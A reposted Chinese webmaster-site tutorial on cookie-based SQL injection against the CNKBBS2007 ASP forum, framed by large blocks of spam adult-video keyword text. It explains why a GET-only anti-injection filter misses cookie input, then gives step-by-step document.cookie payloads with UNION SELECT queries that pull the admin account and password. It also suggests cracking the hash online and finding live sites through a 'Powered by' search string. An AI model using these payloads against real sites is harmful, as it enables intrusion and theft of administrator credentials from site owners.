亚洲国产精品人久久,亚洲va国产日韩欧美精品色婷婷,久久久久88色偷偷,免费人成黄页在线观看国际

17站長網

17站長網 首頁 安全 安全教程 查看內容

分析cookies的注入方法和原理

2022-9-24 10:22| 查看: 2508 |來源: 互聯網

現在很多網站都采用了通用防注入程序,那么對于這種網站,我門是否就束手無策了呢?答案是否定的,因為我們可以采用cookie 注入的方法,而很多通用防注入程序對 ...

現在很多網站都采用了通用防注入程序,那么對于這種網站,我門是否就束手無策了呢?答案是否定的,因為我們可以采用cookie 注入的方法,而很多通用防注入程序對這種注入方式都沒有防備。 在講之前,我們還是來回顧下ASP腳本中Request對象的知識吧,上面幾講中都提到Request對象獲取客戶端提交數據常用的是GET和POST二種方式,同時request對象可以不通過集合來獲得數據,即直接使用"request("name")"但它的效率低下,容易出錯,當我們省略具體的集合名稱時,ASP是按QueryString,from,cookie,servervariable,集合的順序來搜索的,在request對象成員中集合cookies,它的意思是"讀取用戶系統發送的所有cookie值,我們從第二講關于"cookies欺騙入侵和原理"中知道,cookies是保存在客戶端計算機的一個文本文件,可以進行修改,這樣一來,我們就可以使用Request.cookie方式來提交變量的值,從而利用系統的漏洞進行注入攻擊. 我們首先還是來看看中網景論壇的最新版本"(CNKBBS2007)中網景論壇2007v5.0 "官方下載地址"http://www.cnetking.com/websys2.asp?id=26"發布時間是2007-06-06,打開系統的源代碼后,在"user_RxMsg_detail.asp"文件中,有如下代碼:


(調用opendb.asp文件)


<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (獲取客戶提交的變量,并賦值給id,并沒過濾,也沒有指定采用那種方式提交)
if id<>"" then Call IsNum(bid) (這是程序員的出現地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '設置已讀
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3 我們再打開"opendb.asp"文件 <%Option Explicit
Response.Buffer = true%>

(調用fzr.asp文件)



..................
以現它是連接數據庫的文件,其中調用了fzr.asp文件,我們再打開fzr.asp文件
<%
'--------版權說明------------------
'SQL通用防注入程序
'Aseanleung
'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (對Request.QueryString提交(客戶采用GET方式提交)的數據進行判斷,并沒有指明對其它方式提交的數據進行判斷)
'自定義需要過濾的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的語句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "內容含有非法字符!請不要有'或and或or等字符,請去掉這些字符再發!!
"
Response.Write "如是要攻擊網站,系統記錄了你的操作↓
"
Response.Write "操作IP:"&zruserip&"
"
Response.Write "操作時間:"&Now&"
"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:GET
"
Response.Write "提交參數:"&Fy_Get&"
"
Response.Write "提交數據:"&Request.QueryString(Fy_Get)
......................
很明顯的看出它是一個SQL通用防注入程序文件,(以上的紅字是對代碼的解釋) 代碼看好了,我們來整理下思路:由于程序員的出錯,導致了id沒有被過濾就被帶到SQL語句中查詢,這是注入漏洞產生的原因,雖然程序引入了防注入程序,阻止了常用的SQL語句使用,但只對客戶采用GET方式提交的數據進行判斷,而沒有對其它方式提交的數據進行判斷,這樣導致了客戶可以使用Request.cookie方式來提交變量的值,而繞過了SQL防注入程序(總結下:cookie注入產生的條件:系統直接使用"request("name")"獲取客戶提交的數據,并對客戶提交的變量沒有過濾,而且在防注入程序中沒有限制Request.cookie,現在防注入程序3.0只是對客戶采用GET和POST提交方式進行了限制). 原理講好了,下面我們來學學coolie注入語句吧 cookies的注入語句:alert(document.cookie="id=" escape("這就是asp? id=xx后面xx代表的數值) and (這里是注入攻擊代碼)")); 這兒用到了javascript語言的知識,我把這語句的意思分解如下,以便大家理解: 1:"alert()"顯示信息對話框的alert()方法,它生成的是一個獨立的小窗口,稱作對話框,用來顯示一條信息和一個按鈕.(我們在跨站中常用到) 2:"document.cookie"我們在處理cookie時,javascript將它保存為document對象的一個屬性,其屬性名稱是cookie,利用這個屬性,我們可以創建和讀取cookie數據,在程序中可以使用:"alert(document.cookie)"調用當前頁面的cookie數據項值.在我們啟動瀏覽器打開頁面后,如果存在相應的cookie,那么它被裝入到document對象的cookie屬性中,document.cookie屬性采用name=value對應方式保存各個cookie數據項值.document(文檔)對象表示在瀏覽器里顯示的HTML(向頁面輸出數據),cookie屬性是允許讀寫HTTP的cookie;字符串類型 4:escape()函數;它將字符串中所有的非字母字符轉換為用字母數字表示的等價字符串,具有編碼字符串的功能.一般情況下,cookie通常由服務器端的程序通過HTTP請求和響應頭發送給瀏覽器,但是,利用javascript,可以在本地瀏覽器中設置cookie格式:name=value的屬性是指定cookie數據項的名稱,value是該名稱對應的值,它是一個字符串,也可是由一系列字符組成,name和value中不能包含分號,逗號及空白,(50"and 1=1")有分號,逗號及空白,所以我們要用到escape()函數對他們進行編碼 上面整句的意思大家都明白了吧,就是設置調用當前創建的cookie數據項值,在設置cookie時,它們首先保存在瀏覽器的內存中,退出瀏覽器時,才能被寫入到硬盤中.(這就是在下面操作中為什么在退出后,再輸入鏈接的地址原因) 最后我們來測試下,利用步驟: 1:打開在本地機子上架設的中網景論壇:注冊一個用戶,我們就會收到管理員發來的一條短信息,我們打開短信息的鏈接(注意這兒的參數id值) 2:把瀏覽器的URL清空,輸入"alert(document.cookie="id=" escape("相應參數id值 and 1=1"));之后會彈出一個框框, 3:再次輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(返回正常的頁面,說明我們繞過了SQL防注入程序了) 3:再輸入:alert(document.cookie="id=" escape("1 and 1=2"));然后再輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(時間和內容都沒有顯示了,說明我們可以進行注入了) 4:通過查看系統數據庫,得知cnk_users_RxMsg 表里有8個字段,Cnk_Admin表是存放管理員資料的,其中AdminName,AdminPassword字段分別對應的是賬號和密碼,我們使用聯合查詢語句,再輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址欄清空,輸入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可經看到顯示了數字4和5 5:再次把地址欄清空,輸入:alert(document.cookie="id=" escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址欄,輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員,這樣我們就在頁面上看到管理員的密碼和賬號了 6:把得到的密碼放入http://www.cmd5.com網站查詢,得知管理員的明文密碼是admin,在網站的首頁我們就可進行登錄后臺了,我們也可利用關鍵字"Powered by CNKBBS2007 (5.2)"去網上找使用這系統的網站,(不過不是很多啊)大家去練習下手工的注入吧,可別搞在破壞喲!不過在使用這類注入時,它需要兩次手動操作才能完成,這也是容易出錯的地方,可要細心才行.

本文最后更新于 2022-9-24 10:22,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        亚洲国产精品人久久,亚洲va国产日韩欧美精品色婷婷,久久久久88色偷偷,免费人成黄页在线观看国际
        亚洲欧美激情视频在线观看一区二区三区| 国产精品久久久久久妇女6080| 亚洲美女视频在线| av电影一区二区| 欧美国产97人人爽人人喊| 国产99精品国产| 亚洲丝袜精品丝袜在线| 欧美性极品少妇| 免费成人av在线播放| 久久久五月婷婷| 99久久伊人精品| 亚洲高清免费视频| 欧美videossexotv100| 国产99久久久国产精品潘金网站| 国产精品久久久久久亚洲毛片| av电影在线观看不卡| 婷婷丁香久久五月婷婷| 欧美精品一区二区久久婷婷| 国产91对白在线观看九色| 日韩毛片一二三区| 日韩欧美自拍偷拍| 成人av综合在线| 五月综合激情日本mⅴ| 久久综合色8888| 欧美亚洲免费在线一区| 韩国av一区二区三区在线观看| 国产欧美一区二区精品性色超碰| 在线免费不卡视频| 国产一区三区三区| 一区二区三区精品在线| 精品国产乱码久久久久久免费| 色综合天天综合网国产成人综合天 | 久99久精品视频免费观看| 中文字幕av不卡| 日韩精品专区在线影院观看| 91小视频在线| 丁香婷婷综合五月| 日韩av在线免费观看不卡| 日韩一区中文字幕| 欧美经典一区二区三区| 欧美一区二区高清| 欧美三级蜜桃2在线观看| av影院午夜一区| 国产乱码精品一区二区三区五月婷| 亚洲国产cao| 一区二区国产盗摄色噜噜| 国产精品人成在线观看免费| 久久婷婷综合激情| 欧美mv日韩mv亚洲| 日韩欧美第一区| 日韩欧美国产不卡| 日韩欧美一区在线| 制服丝袜日韩国产| 7777精品伊人久久久大香线蕉| 欧美日韩一卡二卡三卡| 欧美在线免费观看视频| 一本色道久久综合狠狠躁的推荐 | 在线观看国产一区二区| 色综合久久九月婷婷色综合| 99国产精品久久久久久久久久久| 成人一区二区三区在线观看| 国产成人免费视频| 成人听书哪个软件好| 岛国精品在线观看| caoporen国产精品视频| 91丨porny丨首页| 欧洲亚洲精品在线| 在线成人av网站| 欧美变态tickling挠脚心| 精品国产伦一区二区三区免费| 精品国产免费一区二区三区香蕉| 久久久青草青青国产亚洲免观| 久久久久久97三级| 最新欧美精品一区二区三区| 亚洲免费资源在线播放| 日韩精品一区第一页| 九九视频精品免费| 本田岬高潮一区二区三区| 色婷婷综合激情| 日韩视频123| 欧美经典一区二区| 性感美女极品91精品| 九九九久久久精品| 一本久久a久久精品亚洲| 欧美一区二区三区小说| 久久精品视频免费| 亚洲一卡二卡三卡四卡| 韩国v欧美v日本v亚洲v| 色婷婷亚洲精品| 精品国产百合女同互慰| 亚洲精品日产精品乱码不卡| 蜜臀av一区二区| 91丨porny丨国产| 精品久久久久av影院| 亚洲免费观看在线视频| 久久精品国产成人一区二区三区| www.亚洲人| 欧美不卡一区二区| 亚洲一区二区三区四区在线免费观看| 韩国一区二区视频| 欧美三片在线视频观看| 国产欧美日韩精品一区| 奇米四色…亚洲| 精品视频在线免费| 亚洲天堂中文字幕| 国产成都精品91一区二区三| 欧美一卡二卡在线| 亚洲国产人成综合网站| 91美女片黄在线观看91美女| 国产午夜精品在线观看| 久久草av在线| 日韩一级免费一区| 首页亚洲欧美制服丝腿| 在线亚洲精品福利网址导航| 欧美国产日本韩| 国产福利一区二区三区视频 | 不卡一区在线观看| 亚洲精品在线网站| 日本怡春院一区二区| 精品视频全国免费看| 亚洲综合一区二区精品导航| 99久免费精品视频在线观看| 国产日产精品一区| 国产麻豆成人传媒免费观看| 日韩美女主播在线视频一区二区三区| 亚洲成av人影院在线观看网| 欧美影片第一页| 亚洲五月六月丁香激情| 欧美性受xxxx黑人xyx| 一区二区三区精品在线观看| 在线看日韩精品电影| 亚洲第一激情av| 5566中文字幕一区二区电影| 五月激情综合网| 欧美一级日韩免费不卡| 久久99久久久欧美国产| 精品久久久久香蕉网| 国产另类ts人妖一区二区| 久久久电影一区二区三区| 国产一区美女在线| 国产精品每日更新| 91黄色免费版| 日韩成人av影视| 久久久不卡网国产精品二区| 成人精品视频.| 亚洲精品成人悠悠色影视| 欧美日韩国产在线观看| 裸体健美xxxx欧美裸体表演| 久久在线观看免费| 99re这里只有精品首页| 亚洲v日本v欧美v久久精品| 日韩一级精品视频在线观看| 国产精品18久久久久久久久| 国产精品久久久久久久久快鸭| 欧美在线999| 国模无码大尺度一区二区三区| 国产精品麻豆网站| 91精品国产综合久久婷婷香蕉| 黄色日韩三级电影| 亚洲综合一区二区精品导航| 亚洲精品在线电影| 色婷婷精品大在线视频| 免费欧美日韩国产三级电影| 亚洲欧洲精品天堂一级| 日韩一区二区免费在线观看| proumb性欧美在线观看| 欧美a级一区二区| 亚洲欧洲中文日韩久久av乱码| 日韩视频在线一区二区| 色婷婷av一区二区三区大白胸| 精品一区二区三区欧美| 亚洲成a人片在线不卡一二三区| 国产亚洲欧美一区在线观看| 7777精品伊人久久久大香线蕉的| av电影天堂一区二区在线观看| 精品系列免费在线观看| 天堂蜜桃91精品| 亚洲欧美日韩电影| 欧美精彩视频一区二区三区| 精品日韩99亚洲| 91精品国产综合久久精品app| 色播五月激情综合网| 东方欧美亚洲色图在线| 精品一区二区三区在线播放视频 | 亚洲一二三四在线| 国产午夜精品久久久久久久 | 久久在线观看免费| 欧美一区二区成人| 在线成人午夜影院| 欧美色区777第一页| 欧洲一区在线电影| 欧美综合一区二区| 91精品1区2区| 色老头久久综合| 91丝袜美女网| 欧美主播一区二区三区| 欧美性色黄大片| 欧美日韩国产综合视频在线观看| 欧美视频精品在线观看| 欧美日韩综合色|